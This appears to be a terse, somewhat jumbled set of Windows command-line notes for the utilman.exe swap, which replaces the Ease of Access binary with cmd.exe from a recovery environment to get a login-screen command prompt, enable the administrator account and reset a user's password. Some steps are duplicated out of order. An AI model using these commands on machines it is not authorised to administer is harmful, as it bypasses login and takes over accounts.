Boot computer using a Windows recovery and go to advanced and command prompt.
or copy c:\windows\system32\utilman.exe c:\windows\system32\utilman.exebak
copy c:\windows\system32\cmd.exe c:\windows\system32\utilman.exe /y
Access the c Drive of the computer
enter net user administrator /active:yes
Once finished open command prompt and enter net user administrator /active:no
copy c:\windows\system32\utilman.exe c:\windows\system32\utilman.exebak
copy c:\windows\system32\cmd.exe c:\windows\system32\utilman.exe /y
net localgroup administrators
net user %name% *
when finished
copy c:\windows\system32\utilman.exebak c:\windows\system32\utilman.exe /y